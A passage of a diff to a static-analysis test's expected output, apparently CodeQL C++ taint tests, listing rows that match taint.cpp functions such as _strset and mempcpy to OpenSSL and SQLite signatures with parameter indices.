taint.cpp:523:7:523:13 | _strset | (TS_TST_INFO *,int) | | TS_TST_INFO_get_ext | 1 | +| taint.cpp:523:7:523:13 | _strset | (TS_VERIFY_CTX *,int) | | TS_VERIFY_CTX_add_flags | 1 | +| taint.cpp:523:7:523:13 | _strset | (TS_VERIFY_CTX *,int) | | TS_VERIFY_CTX_set_flags | 1 | +| taint.cpp:523:7:523:13 | _strset | (WPACKET *,int) | | ossl_DER_w_begin_sequence | 1 | +| taint.cpp:523:7:523:13 | _strset | (X509 *,int) | | X509_delete_ext | 1 | +| taint.cpp:523:7:523:13 | _strset | (X509 *,int) | | X509_self_signed | 1 | +| taint.cpp:523:7:523:13 | _strset | (X509_ACERT *,int) | | X509_ACERT_delete_attr | 1 | +| taint.cpp:523:7:523:13 | _strset | (X509_ATTRIBUTE *,int) | | X509_ATTRIBUTE_get0_type | 1 | +| taint.cpp:523:7:523:13 | _strset | (X509_CRL *,int) | | X509_CRL_delete_ext | 1 | +| taint.cpp:523:7:523:13 | _strset | (X509_NAME *,int) | | X509_NAME_delete_entry | 1 | +| taint.cpp:523:7:523:13 | _strset | (X509_REQ *,int) | | X509_REQ_delete_attr | 1 | +| taint.cpp:523:7:523:13 | _strset | (X509_REVOKED *,int) | | X509_REVOKED_delete_ext | 1 | +| taint.cpp:523:7:523:13 | _strset | (X509_STORE *,int) | | X509_STORE_set_depth | 1 | +| taint.cpp:523:7:523:13 | _strset | (X509_STORE *,int) | | X509_STORE_set_purpose | 1 | +| taint.cpp:523:7:523:13 | _strset | (X509_STORE *,int) | | X509_STORE_set_trust | 1 | +| taint.cpp:523:7:523:13 | _strset | (X509_STORE_CTX *,int) | | X509_STORE_CTX_set_depth | 1 | +| taint.cpp:523:7:523:13 | _strset | (X509_STORE_CTX *,int) | | X509_STORE_CTX_set_error | 1 | +| taint.cpp:523:7:523:13 | _strset | (X509_STORE_CTX *,int) | | X509_STORE_CTX_set_error_depth | 1 | +| taint.cpp:523:7:523:13 | _strset | (X509_STORE_CTX *,int) | | X509_STORE_CTX_set_purpose | 1 | +| taint.cpp:523:7:523:13 | _strset | (X509_STORE_CTX *,int) | | X509_STORE_CTX_set_trust | 1 | +| taint.cpp:523:7:523:13 | _strset | (X509_VERIFY_PARAM *,int) | | X509_VERIFY_PARAM_get0_host | 1 | +| taint.cpp:523:7:523:13 | _strset | (X509_VERIFY_PARAM *,int) | | X509_VERIFY_PARAM_set_auth_level | 1 | +| taint.cpp:523:7:523:13 | _strset | (X509_VERIFY_PARAM *,int) | | X509_VERIFY_PARAM_set_depth | 1 | +| taint.cpp:523:7:523:13 | _strset | (X509_VERIFY_PARAM *,int) | | X509_VERIFY_PARAM_set_purpose | 1 | +| taint.cpp:523:7:523:13 | _strset | (X509_VERIFY_PARAM *,int) | | X509_VERIFY_PARAM_set_trust | 1 | +| taint.cpp:523:7:523:13 | _strset | (acttab *,int) | | acttab_insert | 1 | +| taint.cpp:523:7:523:13 | _strset | (char *,int) | | PEM_proc_type | 0 | +| taint.cpp:523:7:523:13 | _strset | (char *,int) | | PEM_proc_type | 1 | | taint.cpp:523:7:523:13 | _strset | (char,int) | CStringT | CStringT | 1 | +| taint.cpp:523:7:523:13 | _strset | (const ASN1_BIT_STRING *,int) | | ASN1_BIT_STRING_get_bit | 1 | +| taint.cpp:523:7:523:13 | _strset | (const BIGNUM *,int) | | BN_get_flags | 1 | +| taint.cpp:523:7:523:13 | _strset | (const BIGNUM *,int) | | BN_is_bit_set | 1 | +| taint.cpp:523:7:523:13 | _strset | (const BIO *,int) | | BIO_get_ex_data | 1 | +| taint.cpp:523:7:523:13 | _strset | (const BIO *,int) | | BIO_test_flags | 1 | +| taint.cpp:523:7:523:13 | _strset | (const CMS_SignerInfo *,int) | | CMS_signed_get_attr | 1 | +| taint.cpp:523:7:523:13 | _strset | (const CMS_SignerInfo *,int) | | CMS_unsigned_get_attr | 1 | +| taint.cpp:523:7:523:13 | _strset | (const CRYPTO_EX_DATA *,int) | | CRYPTO_get_ex_data | 1 | +| taint.cpp:523:7:523:13 | _strset | (const DH *,int) | | DH_get_ex_data | 1 | +| taint.cpp:523:7:523:13 | _strset | (const DH *,int) | | DH_test_flags | 1 | +| taint.cpp:523:7:523:13 | _strset | (const DH *,int) | | ossl_dh_dup | 1 | +| taint.cpp:523:7:523:13 | _strset | (const DSA *,int) | | DSA_get_ex_data | 1 | +| taint.cpp:523:7:523:13 | _strset | (const DSA *,int) | | DSA_test_flags | 1 | +| taint.cpp:523:7:523:13 | _strset | (const DSA *,int) | | ossl_dsa_dup | 1 | +| taint.cpp:523:7:523:13 | _strset | (const ECX_KEY *,int) | | ossl_ecx_key_dup | 1 | +| taint.cpp:523:7:523:13 | _strset | (const EC_KEY *,int) | | EC_KEY_get_ex_data | 1 | +| taint.cpp:523:7:523:13 | _strset | (const EC_KEY *,int) | | ossl_ec_key_dup | 1 | +| taint.cpp:523:7:523:13 | _strset | (const ENGINE *,int) | | ENGINE_get_ex_data | 1 | +| taint.cpp:523:7:523:13 | _strset | (const EVP_CIPHER_CTX *,int) | | EVP_CIPHER_CTX_test_flags | 1 | +| taint.cpp:523:7:523:13 | _strset | (const EVP_MD_CTX *,int) | | EVP_MD_CTX_test_flags | 1 | +| taint.cpp:523:7:523:13 | _strset | (const EVP_PKEY *,int) | | EVP_PKEY_get_attr | 1 | +| taint.cpp:523:7:523:13 | _strset | (const EVP_PKEY *,int) | | EVP_PKEY_get_ex_data | 1 | +| taint.cpp:523:7:523:13 | _strset | (const ML_DSA_KEY *,int) | | ossl_ml_dsa_key_dup | 1 | +| taint.cpp:523:7:523:13 | _strset | (const ML_KEM_KEY *,int) | | ossl_ml_kem_key_dup | 1 | +| taint.cpp:523:7:523:13 | _strset | (const OPENSSL_STACK *,int) | | OPENSSL_sk_value | 1 | +| taint.cpp:523:7:523:13 | _strset | (const OSSL_CMP_CERTREPMESSAGE *,int) | | ossl_cmp_certrepmessage_get0_certresponse | 1 | +| taint.cpp:523:7:523:13 | _strset | (const OSSL_CMP_CTX *,int) | | OSSL_CMP_CTX_get0_newPkey | 1 | +| taint.cpp:523:7:523:13 | _strset | (const OSSL_CMP_CTX *,int) | | OSSL_CMP_CTX_get_option | 1 | +| taint.cpp:523:7:523:13 | _strset | (const OSSL_CMP_PKISI *,int) | | ossl_cmp_pkisi_check_pkifailureinfo | 1 | +| taint.cpp:523:7:523:13 | _strset | (const OSSL_CMP_POLLREPCONTENT *,int) | | ossl_cmp_pollrepcontent_get0_pollrep | 1 | +| taint.cpp:523:7:523:13 | _strset | (const QUIC_CHANNEL *,int) | | ossl_quic_channel_get_local_stream_count_avail | 1 | +| taint.cpp:523:7:523:13 | _strset | (const QUIC_CHANNEL *,int) | | ossl_quic_channel_get_remote_stream_count_avail | 1 | +| taint.cpp:523:7:523:13 | _strset | (const RSA *,int) | | RSA_get_ex_data | 1 | +| taint.cpp:523:7:523:13 | _strset | (const RSA *,int) | | RSA_test_flags | 1 | +| taint.cpp:523:7:523:13 | _strset | (const RSA *,int) | | ossl_rsa_dup | 1 | +| taint.cpp:523:7:523:13 | _strset | (const SLH_DSA_KEY *,int) | | ossl_slh_dsa_key_dup | 1 | +| taint.cpp:523:7:523:13 | _strset | (const SSL *,int) | | SSL_get_ex_data | 1 | +| taint.cpp:523:7:523:13 | _strset | (const SSL_CTX *,int) | | SSL_CTX_get_ex_data | 1 | +| taint.cpp:523:7:523:13 | _strset | (const SSL_SESSION *,int) | | SSL_SESSION_get_ex_data | 1 | +| taint.cpp:523:7:523:13 | _strset | (const SSL_SESSION *,int) | | ssl_session_dup | 1 | +| taint.cpp:523:7:523:13 | _strset | (const UI *,int) | | UI_get_ex_data | 1 | +| taint.cpp:523:7:523:13 | _strset | (const UI_METHOD *,int) | | UI_method_get_ex_data | 1 | +| taint.cpp:523:7:523:13 | _strset | (const X509 *,int) | | X509_get_ex_data | 1 | +| taint.cpp:523:7:523:13 | _strset | (const X509 *,int) | | X509_get_ext | 1 | +| taint.cpp:523:7:523:13 | _strset | (const X509_ACERT *,int) | | X509_ACERT_get_attr | 1 | +| taint.cpp:523:7:523:13 | _strset | (const X509_CRL *,int) | | X509_CRL_get_ext | 1 | +| taint.cpp:523:7:523:13 | _strset | (const X509_NAME *,int) | | X509_NAME_get_entry | 1 | +| taint.cpp:523:7:523:13 | _strset | (const X509_POLICY_LEVEL *,int) | | X509_policy_level_get0_node | 1 | +| taint.cpp:523:7:523:13 | _strset | (const X509_POLICY_TREE *,int) | | X509_policy_tree_get0_level | 1 | +| taint.cpp:523:7:523:13 | _strset | (const X509_REQ *,int) | | X509_REQ_get_attr | 1 | +| taint.cpp:523:7:523:13 | _strset | (const X509_REVOKED *,int) | | X509_REVOKED_get_ext | 1 | +| taint.cpp:523:7:523:13 | _strset | (const X509_STORE *,int) | | X509_STORE_get_ex_data | 1 | +| taint.cpp:523:7:523:13 | _strset | (const X509_STORE_CTX *,int) | | X509_STORE_CTX_get_ex_data | 1 | | taint.cpp:523:7:523:13 | _strset | (const XCHAR *,int) | CStringT | CStringT | 1 | | taint.cpp:523:7:523:13 | _strset | (const YCHAR *,int) | CStringT | CStringT | 1 | +| taint.cpp:523:7:523:13 | _strset | (const char *,int) | | DH_meth_new | 1 | +| taint.cpp:523:7:523:13 | _strset | (const char *,int) | | DSA_meth_new | 1 | +| taint.cpp:523:7:523:13 | _strset | (const char *,int) | | Jim_StrDupLen | 1 | +| taint.cpp:523:7:523:13 | _strset | (const char *,int) | | NETSCAPE_SPKI_b64_decode | 1 | +| taint.cpp:523:7:523:13 | _strset | (const char *,int) | | RSA_meth_new | 1 | +| taint.cpp:523:7:523:13 | _strset | (const char *,int) | | parse_yesno | 1 | +| taint.cpp:523:7:523:13 | _strset | (const stack_st_X509_ATTRIBUTE *,int) | | X509at_get_attr | 1 | +| taint.cpp:523:7:523:13 | _strset | (const stack_st_X509_EXTENSION *,int) | | X509v3_get_ext | 1 | +| taint.cpp:523:7:523:13 | _strset | (const unsigned char *,int) | | Jim_GenHashFunction | 1 | +| taint.cpp:523:7:523:13 | _strset | (const unsigned char *,int) | | OPENSSL_uni2asc | 1 | +| taint.cpp:523:7:523:13 | _strset | (const unsigned char *,int) | | OPENSSL_uni2utf8 | 1 | +| taint.cpp:523:7:523:13 | _strset | (int *,int) | | X509_PURPOSE_set | 1 | +| taint.cpp:523:7:523:13 | _strset | (int *,int) | | X509_TRUST_set | 1 | +| taint.cpp:523:7:523:13 | _strset | (int,int) | | BN_security_bits | 1 | +| taint.cpp:523:7:523:13 | _strset | (int,int) | | EVP_MD_meth_new | 1 | +| taint.cpp:523:7:523:13 | _strset | (int,int) | | EVP_PKEY_meth_new | 1 | +| taint.cpp:523:7:523:13 | _strset | (int,int) | | acttab_alloc | 1 | +| taint.cpp:523:7:523:13 | _strset | (rule *,int) | | Configlist_add | 1 | +| taint.cpp:523:7:523:13 | _strset | (rule *,int) | | Configlist_addbasis | 1 | +| taint.cpp:523:7:523:13 | _strset | (sqlite3 *,int) | | sqlite3_busy_timeout | 1 | +| taint.cpp:523:7:523:13 | _strset | (sqlite3 *,int) | | sqlite3_db_name | 1 | +| taint.cpp:523:7:523:13 | _strset | (sqlite3 *,int) | | sqlite3_wal_autocheckpoint | 1 | +| taint.cpp:523:7:523:13 | _strset | (sqlite3_backup *,int) | | sqlite3_backup_step | 1 | +| taint.cpp:523:7:523:13 | _strset | (sqlite3_context *,int) | | sqlite3_aggregate_context | 1 | +| taint.cpp:523:7:523:13 | _strset | (sqlite3_context *,int) | | sqlite3_result_error_code | 1 | +| taint.cpp:523:7:523:13 | _strset | (sqlite3_index_info *,int) | | sqlite3_vtab_collation | 1 | +| taint.cpp:523:7:523:13 | _strset | (sqlite3_stmt *,int) | | sqlite3_bind_parameter_name | 1 | +| taint.cpp:523:7:523:13 | _strset | (sqlite3_stmt *,int) | | sqlite3_column_blob | 1 | +| taint.cpp:523:7:523:13 | _strset | (sqlite3_stmt *,int) | | sqlite3_column_bytes | 1 | +| taint.cpp:523:7:523:13 | _strset | (sqlite3_stmt *,int) | | sqlite3_column_bytes16 | 1 | +| taint.cpp:523:7:523:13 | _strset | (sqlite3_stmt *,int) | | sqlite3_column_decltype | 1 | +| taint.cpp:523:7:523:13 | _strset | (sqlite3_stmt *,int) | | sqlite3_column_decltype16 | 1 | +| taint.cpp:523:7:523:13 | _strset | (sqlite3_stmt *,int) | | sqlite3_column_double | 1 | +| taint.cpp:523:7:523:13 | _strset | (sqlite3_stmt *,int) | | sqlite3_column_int | 1 | +| taint.cpp:523:7:523:13 | _strset | (sqlite3_stmt *,int) | | sqlite3_column_int64 | 1 | +| taint.cpp:523:7:523:13 | _strset | (sqlite3_stmt *,int) | | sqlite3_column_name | 1 | +| taint.cpp:523:7:523:13 | _strset | (sqlite3_stmt *,int) | | sqlite3_column_name16 | 1 | +| taint.cpp:523:7:523:13 | _strset | (sqlite3_stmt *,int) | | sqlite3_column_text | 1 | +| taint.cpp:523:7:523:13 | _strset | (sqlite3_stmt *,int) | | sqlite3_column_text16 | 1 | +| taint.cpp:523:7:523:13 | _strset | (sqlite3_stmt *,int) | | sqlite3_column_type | 1 | +| taint.cpp:523:7:523:13 | _strset | (sqlite3_stmt *,int) | | sqlite3_column_value | 1 | +| taint.cpp:523:7:523:13 | _strset | (sqlite3_stmt *,int) | | sqlite3_stmt_explain | 1 | +| taint.cpp:523:7:523:13 | _strset | (stack_st_PKCS7 *,int) | | PKCS12_add_safes | 1 | +| taint.cpp:523:7:523:13 | _strset | (stack_st_SSL_COMP *,int) | | ssl3_comp_find | 1 | +| taint.cpp:523:7:523:13 | _strset | (stack_st_X509_ATTRIBUTE *,int) | | X509at_delete_attr | 1 | +| taint.cpp:523:7:523:13 | _strset | (stack_st_X509_EXTENSION *,int) | | X509v3_delete_ext | 1 | +| taint.cpp:523:7:523:13 | _strset | (uint16_t,int) | | tls1_group_id2nid | 1 | +| taint.cpp:523:7:523:13 | _strset | (unsigned char *,int) | | RAND_bytes | 1 | +| taint.cpp:523:7:523:13 | _strset | (unsigned char *,int) | | RAND_priv_bytes | 1 | +| taint.cpp:523:7:523:13 | _strset | (unsigned char *,int) | | ossl_ipaddr_to_asc | 1 | +| taint.cpp:523:7:523:13 | _strset | (unsigned short,int) | | dtls1_get_queue_priority | 1 | +| taint.cpp:523:7:523:13 | _strset | (void *,int) | | DSO_dsobyaddr | 1 | +| taint.cpp:523:7:523:13 | _strset | (void *,int) | | sqlite3_realloc | 1 | | taint.cpp:523:7:523:13 | _strset | (wchar_t,int) | CStringT | CStringT | 1 | | taint.cpp:525:6:525:18 | test_strset_1 | (const CStringT &,char) | | operator+ | 1 | +| taint.cpp:531:6:531:18 | test_strset_2 | (char *) | | SRP_VBASE_new | 0 | +| taint.cpp:531:6:531:18 | test_strset_2 | (char *) | | defossilize | 0 | +| taint.cpp:531:6:531:18 | test_strset_2 | (char *) | | make_uppercase | 0 | +| taint.cpp:531:6:531:18 | test_strset_2 | (char *) | | next_item | 0 | | taint.cpp:531:6:531:18 | test_strset_2 | (char *) | CStringT | CStringT | 0 | +| taint.cpp:538:7:538:13 | mempcpy | (BIO *,OCSP_REQUEST *,unsigned long) | | OCSP_REQUEST_print | 2 | +| taint.cpp:538:7:538:13 | mempcpy | (BIO *,OCSP_RESPONSE *,unsigned long) | | OCSP_RESPONSE_print | 2 | +| taint.cpp:538:7:538:13 | mempcpy | (BIO *,X509 *,unsigned long) | | ossl_x509_print_ex_brief | 2 | +| taint.cpp:538:7:538:13 | mempcpy | (BIO *,X509_CRL *,unsigned long) | | X509_CRL_print_ex | 2 | +| taint.cpp:538:7:538:13 | mempcpy | (BIO *,const ASN1_STRING *,unsigned long) | | ASN1_STRING_print_ex | 2 | +| taint.cpp:538:7:538:13 | mempcpy | (BLAKE2B_CTX *,const void *,size_t) | | ossl_blake2b_update | 1 | +| taint.cpp:538:7:538:13 | mempcpy | (BLAKE2B_CTX *,const void *,size_t) | | ossl_blake2b_update | 2 | +| taint.cpp:538:7:538:13 | mempcpy | (BLAKE2B_PARAM *,const uint8_t *,size_t) | | ossl_blake2b_param_set_personal | 2 | +| taint.cpp:538:7:538:13 | mempcpy | (BLAKE2B_PARAM *,const uint8_t *,size_t) | | ossl_blake2b_param_set_salt | 2 | +| taint.cpp:538:7:538:13 | mempcpy | (BLAKE2S_CTX *,const void *,size_t) | | ossl_blake2s_update | 1 | +| taint.cpp:538:7:538:13 | mempcpy | (BLAKE2S_CTX *,const void *,size_t) | | ossl_blake2s_update | 2 | +| taint.cpp:538:7:538:13 | mempcpy | (BLAKE2S_PARAM *,const uint8_t *,size_t) | | ossl_blake2s_param_set_personal | 2 | +| taint.cpp:538:7:538:13 | mempcpy | (BLAKE2S_PARAM *,const uint8_t *,size_t) | | ossl_blake2s_param_set_salt | 2 | +| taint.cpp:538:7:538:13 | mempcpy | (CCM128_CONTEXT *,const unsigned char *,size_t) | | CRYPTO_ccm128_aad | 2 | +| taint.cpp:538:7:538:13 | mempcpy | (CCM128_CONTEXT *,unsigned char *,size_t) | | CRYPTO_ccm128_tag | 2 | +| taint.cpp:538:7:538:13 | mempcpy | (CMAC_CTX *,const void *,size_t) | | CMAC_Update | 1 | +| taint.cpp:538:7:538:13 | mempcpy | (CMAC_CTX *,const void *,size_t) | | CMAC_Update | 2 | +| taint.cpp:538:7:538:13 | mempcpy | (CMS_RecipientInfo *,const unsigned char *,size_t) | | CMS_RecipientInfo_kekri_id_cmp | 2 | +| taint.cpp:538:7:538:13 | mempcpy | (DH *,const unsigned char *,size_t) | | ossl_dh_buf2key | 2 | +| taint.cpp:538:7:538:13 | mempcpy | (EC_GROUP *,const unsigned char *,size_t) | | EC_GROUP_set_seed | 2 | +| taint.cpp:538:7:538:13 | mempcpy | (EC_KEY *,const unsigned char *,size_t) | | ossl_ec_key_simple_oct2priv | 2 | +| taint.cpp:538:7:538:13 | mempcpy | (EVP_MD_CTX *,const unsigned char *,size_t) | | EVP_DigestVerifyFinal | 2 | +| taint.cpp:538:7:538:13 | mempcpy | (EVP_PKEY *,char *,size_t) | | EVP_PKEY_get_default_digest_name | 2 | +| taint.cpp:538:7:538:13 | mempcpy | (EVP_RAND_CTX *,unsigned char *,size_t) | | EVP_RAND_nonce | 2 | +| taint.cpp:538:7:538:13 | mempcpy | (FFC_PARAMS *,const unsigned char *,size_t) | | ossl_ffc_params_set_seed | 2 | +| taint.cpp:538:7:538:13 | mempcpy | (FILE *,const ASN1_STRING *,unsigned long) | | ASN1_STRING_print_ex_fp | 2 | +| taint.cpp:538:7:538:13 | mempcpy | (GCM128_CONTEXT *,const unsigned char *,size_t) | | CRYPTO_gcm128_aad | 2 | +| taint.cpp:538:7:538:13 | mempcpy | (GCM128_CONTEXT *,const unsigned char *,size_t) | | CRYPTO_gcm128_setiv | 2 | +| taint.cpp:538:7:538:13 | mempcpy | (GCM128_CONTEXT *,unsigned char *,size_t) | | CRYPTO_gcm128_tag | 2 | +| taint.cpp:538:7:538:13 | mempcpy | (KECCAK1600_CTX *,const void *,size_t) | | ossl_sha3_update | 1 | +| taint.cpp:538:7:538:13 | mempcpy | (KECCAK1600_CTX *,const void *,size_t) | | ossl_sha3_update | 2 | +| taint.cpp:538:7:538:13 | mempcpy | (KECCAK1600_CTX *,unsigned char *,size_t) | | ossl_sha3_squeeze | 2 | +| taint.cpp:538:7:538:13 | mempcpy | (KECCAK1600_CTX *,unsigned char,size_t) | | ossl_sha3_init | 2 | +| taint.cpp:538:7:538:13 | mempcpy | (MD4_CTX *,const void *,size_t) | | MD4_Update | 1 | +| taint.cpp:538:7:538:13 | mempcpy | (MD4_CTX *,const void *,size_t) | | MD4_Update | 2 | +| taint.cpp:538:7:538:13 | mempcpy | (MD4_CTX *,const void *,size_t) | | md4_block_data_order | 1 | +| taint.cpp:538:7:538:13 | mempcpy | (MD4_CTX *,const void *,size_t) | | md4_block_data_order | 2 | +| taint.cpp:538:7:538:13 | mempcpy | (MD5_CTX *,const void *,size_t) | | MD5_Update | 1 | +| taint.cpp:538:7:538:13 | mempcpy | (MD5_CTX *,const void *,size_t) | | MD5_Update | 2 | +| taint.cpp:538:7:538:13 | mempcpy | (MD5_SHA1_CTX *,const void *,size_t) | | ossl_md5_sha1_update | 1 | +| taint.cpp:538:7:538:13 | mempcpy | (MD5_SHA1_CTX *,const void *,size_t) | | ossl_md5_sha1_update | 2 | +| taint.cpp:538:7:538:13 | mempcpy | (MDC2_CTX *,const unsigned char *,size_t) | | MDC2_Update | 2 | +| taint.cpp:538:7:538:13 | mempcpy | (ML_DSA_KEY *,const uint8_t *,size_t) | | ossl_ml_dsa_pk_decode | 2 | +| taint.cpp:538:7:538:13 | mempcpy | (ML_DSA_KEY *,const uint8_t *,size_t) | | ossl_ml_dsa_sk_decode | 2 | +| taint.cpp:538:7:538:13 | mempcpy | (OCB128_CONTEXT *,const unsigned char *,size_t) | | CRYPTO_ocb128_aad | 2 | +| taint.cpp:538:7:538:13 | mempcpy | (OCB128_CONTEXT *,unsigned char *,size_t) | | CRYPTO_ocb128_tag | 2 | +| taint.cpp:538:7:538:13 | mempcpy | (OSSL_HPKE_CTX *,const unsigned char *,size_t) | | OSSL_HPKE_CTX_set1_ikme | 2 | +| taint.cpp:538:7:538:13 | mempcpy | (OSSL_JSON_ENC *,const char *,size_t) | | ossl_json_str_len | 2 | +| taint.cpp:538:7:538:13 | mempcpy | (OSSL_JSON_ENC *,const void *,size_t) | | ossl_json_str_hex | 1 | +| taint.cpp:538:7:538:13 | mempcpy | (OSSL_JSON_ENC *,const void *,size_t) | | ossl_json_str_hex | 2 | +| taint.cpp:538:7:538:13 | mempcpy | (OSSL_LIB_CTX *,unsigned char *,size_t) | | ossl_rand_cleanup_entropy | 2 | +| taint.cpp:538:7:538:13 | mempcpy | (OSSL_LIB_CTX *,unsigned char *,size_t) | | ossl_rand_cleanup_user_entropy | 2 | +| taint.cpp:538:7:538:13 | mempcpy | (OSSL_PARAM *,const void *,size_t) | | OSSL_PARAM_set_octet_ptr | 1 | +| taint.cpp:538:7:538:13 | mempcpy | (OSSL_PARAM *,const void *,size_t) | | OSSL_PARAM_set_octet_ptr | 2 | +| taint.cpp:538:7:538:13 | mempcpy | (OSSL_PARAM *,const void *,size_t) | | OSSL_PARAM_set_octet_string | 1 | +| taint.cpp:538:7:538:13 | mempcpy | (OSSL_PARAM *,const void *,size_t) | | OSSL_PARAM_set_octet_string | 2 | +| taint.cpp:538:7:538:13 | mempcpy | (OSSL_PARAM *,const void *,size_t) | | OSSL_PARAM_set_octet_string_or_ptr | 1 | +| taint.cpp:538:7:538:13 | mempcpy | (OSSL_PARAM *,const void *,size_t) | | OSSL_PARAM_set_octet_string_or_ptr | 2 | +| taint.cpp:538:7:538:13 | mempcpy | (OSSL_PARAM *,void *,size_t) | | ossl_param_set_secure_block | 2 | +| taint.cpp:538:7:538:13 | mempcpy | (OSSL_RECORD_LAYER *,OSSL_RECORD_TEMPLATE *,size_t) | | tls_write_records_default | 2 | +| taint.cpp:538:7:538:13 | mempcpy | (OSSL_RECORD_LAYER *,OSSL_RECORD_TEMPLATE *,size_t) | | tls_write_records_multiblock | 2 | +| taint.cpp:538:7:538:13 | mempcpy | (POLY1305 *,const unsigned char *,size_t) | | Poly1305_Update | 2 | +| taint.cpp:538:7:538:13 | mempcpy | (PROV_CIPHER_CTX *,const unsigned char *,size_t) | | ossl_cipher_generic_initiv | 2 | +| taint.cpp:538:7:538:13 | mempcpy | (PROV_CIPHER_CTX *,const unsigned char *,size_t) | | ossl_cipher_hw_tdes_ede3_initkey | 2 | +| taint.cpp:538:7:538:13 | mempcpy | (PROV_GCM_CTX *,const unsigned char *,size_t) | | ossl_gcm_aad_update | 2 | +| taint.cpp:538:7:538:13 | mempcpy | (QTEST_FAULT *,const unsigned char *,size_t) | | qtest_fault_prepend_frame | 2 | +| taint.cpp:538:7:538:13 | mempcpy | (QUIC_PN,unsigned char *,size_t) | | ossl_quic_wire_encode_pkt_hdr_pn | 2 | +| taint.cpp:538:7:538:13 | mempcpy | (QUIC_RXFC *,OSSL_STATM *,size_t) | | ossl_quic_rstream_new | 2 | +| taint.cpp:538:7:538:13 | mempcpy | (QUIC_TLS *,const unsigned char *,size_t) | | ossl_quic_tls_set_transport_params | 2 | +| taint.cpp:538:7:538:13 | mempcpy | (RAND_POOL *,const unsigned char *,size_t) | | ossl_rand_pool_adin_mix_in | 2 | +| taint.cpp:538:7:538:13 | mempcpy | (RAND_POOL *,size_t,size_t) | | ossl_rand_pool_add_end | 2 | +| taint.cpp:538:7:538:13 | mempcpy | (RIPEMD160_CTX *,const void *,size_t) | | RIPEMD160_Update | 1 | +| taint.cpp:538:7:538:13 | mempcpy | (RIPEMD160_CTX *,const void *,size_t) | | RIPEMD160_Update | 2 | +| taint.cpp:538:7:538:13 | mempcpy | (RIPEMD160_CTX *,const void *,size_t) | | ripemd160_block_data_order | 1 | +| taint.cpp:538:7:538:13 | mempcpy | (RIPEMD160_CTX *,const void *,size_t) | | ripemd160_block_data_order | 2 | +| taint.cpp:538:7:538:13 | mempcpy | (SCT **,const unsigned char **,size_t) | | o2i_SCT | 2 | +| taint.cpp:538:7:538:13 | mempcpy | (SCT *,const unsigned char **,size_t) | | o2i_SCT_signature | 2 | +| taint.cpp:538:7:538:13 | mempcpy | (SCT *,const unsigned char *,size_t) | | SCT_set1_extensions | 2 | +| taint.cpp:538:7:538:13 | mempcpy | (SCT *,const unsigned char *,size_t) | | SCT_set1_log_id | 2 | +| taint.cpp:538:7:538:13 | mempcpy | (SCT *,const unsigned char *,size_t) | | SCT_set1_signature | 2 | +| taint.cpp:538:7:538:13 | mempcpy | (SCT *,unsigned char *,size_t) | | SCT_set0_extensions | 2 | +| taint.cpp:538:7:538:13 | mempcpy | (SCT *,unsigned char *,size_t) | | SCT_set0_log_id | 2 | +| taint.cpp:538:7:538:13 | mempcpy | (SCT *,unsigned char *,size_t) | | SCT_set0_signature | 2 | +| taint.cpp:538:7:538:13 | mempcpy | (SHA256_CTX *,const void *,size_t) | | SHA224_Update | 1 | +| taint.cpp:538:7:538:13 | mempcpy | (SHA256_CTX *,const void *,size_t) | | SHA224_Update | 2 | +| taint.cpp:538:7:538:13 | mempcpy | (SHA256_CTX *,const void *,size_t) | | SHA256_Update | 1 | +| taint.cpp:538:7:538:13 | mempcpy | (SHA256_CTX *,const void *,size_t) | | SHA256_Update | 2 | +| taint.cpp:538:7:538:13 | mempcpy | (SHA512_CTX *,const void *,size_t) | | SHA384_Update | 1 | +| taint.cpp:538:7:538:13 | mempcpy | (SHA512_CTX *,const void *,size_t) | | SHA384_Update | 2 | +| taint.cpp:538:7:538:13 | mempcpy | (SHA512_CTX *,const void *,size_t) | | SHA512_Update | 1 | +| taint.cpp:538:7:538:13 | mempcpy | (SHA512_CTX *,const void *,size_t) | | SHA512_Update | 2 | +| taint.cpp:538:7:538:13 | mempcpy | (SHA_CTX *,const void *,size_t) | | SHA1_Update | 1 | +| taint.cpp:538:7:538:13 | mempcpy | (SHA_CTX *,const void *,size_t) | | SHA1_Update | 2 | +| taint.cpp:538:7:538:13 | mempcpy | (SIPHASH *,const unsigned char *,size_t) | | SipHash_Update | 2 | +| taint.cpp:538:7:538:13 | mempcpy | (SIPHASH *,unsigned char *,size_t) | | SipHash_Final | 2 | +| taint.cpp:538:7:538:13 | mempcpy | (SIV128_CONTEXT *,const unsigned char *,size_t) | | ossl_siv128_set_tag | 2 | +| taint.cpp:538:7:538:13 | mempcpy | (SIV128_CONTEXT *,unsigned char *,size_t) | | ossl_siv128_get_tag | 2 | +| taint.cpp:538:7:538:13 | mempcpy | (SLH_DSA_KEY *,const uint8_t *,size_t) | | ossl_slh_dsa_set_priv | 2 | +| taint.cpp:538:7:538:13 | mempcpy | (SLH_DSA_KEY *,const uint8_t *,size_t) | | ossl_slh_dsa_set_pub | 2 | +| taint.cpp:538:7:538:13 | mempcpy | (SM3_CTX *,const void *,size_t) | | ossl_sm3_block_data_order | 1 | +| taint.cpp:538:7:538:13 | mempcpy | (SM3_CTX *,const void *,size_t) | | ossl_sm3_block_data_order | 2 | +| taint.cpp:538:7:538:13 | mempcpy | (SM3_CTX *,const void *,size_t) | | ossl_sm3_update | 1 | +| taint.cpp:538:7:538:13 | mempcpy | (SM3_CTX *,const void *,size_t) | | ossl_sm3_update | 2 | +| taint.cpp:538:7:538:13 | mempcpy | (SSL *,const unsigned char *,size_t) | | SSL_set1_client_cert_type | 2 | +| taint.cpp:538:7:538:13 | mempcpy | (SSL *,const unsigned char *,size_t) | | SSL_set1_server_cert_type | 2 | +| taint.cpp:538:7:538:13 | mempcpy | (SSL *,const unsigned char *,size_t) | | SSL_set_quic_tls_transport_params | 2 | +| taint.cpp:538:7:538:13 | mempcpy | (SSL *,size_t,size_t) | | SSL_set_block_padding_ex | 2 | +| taint.cpp:538:7:538:13 | mempcpy | (SSL_CONNECTION *,TLS_RECORD *,size_t) | | ssl_release_record | 2 | +| taint.cpp:538:7:538:13 | mempcpy | (SSL_CONNECTION *,const unsigned char *,size_t) | | lookup_sess_in_cache | 2 | +| taint.cpp:538:7:538:13 | mempcpy | (SSL_CTX *,const unsigned char *,size_t) | | SSL_CTX_set1_client_cert_type | 2 | +| taint.cpp:538:7:538:13 | mempcpy | (SSL_CTX *,const unsigned char *,size_t) | | SSL_CTX_set1_server_cert_type | 2 | +| taint.cpp:538:7:538:13 | mempcpy | (SSL_CTX *,size_t,size_t) | | SSL_CTX_set_block_padding_ex | 2 | +| taint.cpp:538:7:538:13 | mempcpy | (SSL_SESSION *,const unsigned char *,size_t) | | SSL_SESSION_set1_alpn_selected | 2 | +| taint.cpp:538:7:538:13 | 